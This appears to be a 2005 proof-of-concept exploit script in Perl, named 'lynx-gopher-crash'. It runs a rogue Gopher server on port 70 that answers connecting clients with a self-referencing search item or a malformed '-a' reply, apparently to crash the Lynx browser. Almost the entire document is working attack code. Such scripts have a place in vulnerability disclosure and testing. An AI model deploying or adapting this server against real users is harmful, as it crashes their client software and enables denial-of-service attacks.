#!/usr/bin/perl -- # lynx-gopher-crash # by Ulf Harnhammar in 2005 # I hereby place this program in the public domain. use strict; use IO::Socket; $main::port = 70; $main::timeout = 5; # *** SUBROUTINES *** sub mysend($$) { my $file = shift; my $str = shift; print $file "$str\n"; print "SENT: $str\n"; } # sub mysend sub myreceive($) { my $file = shift; my $inp; eval { local $SIG{ALRM} = sub { die "alarm\n" }; alarm $main::timeout; $inp = <$file>; alarm 0; }; if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n"; } $inp =~ tr/\015\012\000//d; print "RECEIVED: $inp\n"; $inp; } # sub myreceive # *** MAIN PROGRAM *** { die "usage: $0 my_own_hostname\n" unless @ARGV == 1; my $server = IO::Socket::INET->new( Proto => 'tcp', LocalPort => $main::port, Listen => SOMAXCONN, Reuse => 1); die "can't set up server!\n" unless $server; while (my $client = $server->accept()) { $client->autoflush(1); print 'connection from '.$client->peerhost."\n"; my $str = myreceive($client); if ($str eq '') { mysend($client, "2Search\tsearch\t$ARGV[0]\t$main::port"); } else { mysend($client, '-a'); } close $client; print "closed\n\n\n"; } # while client=server->accept() }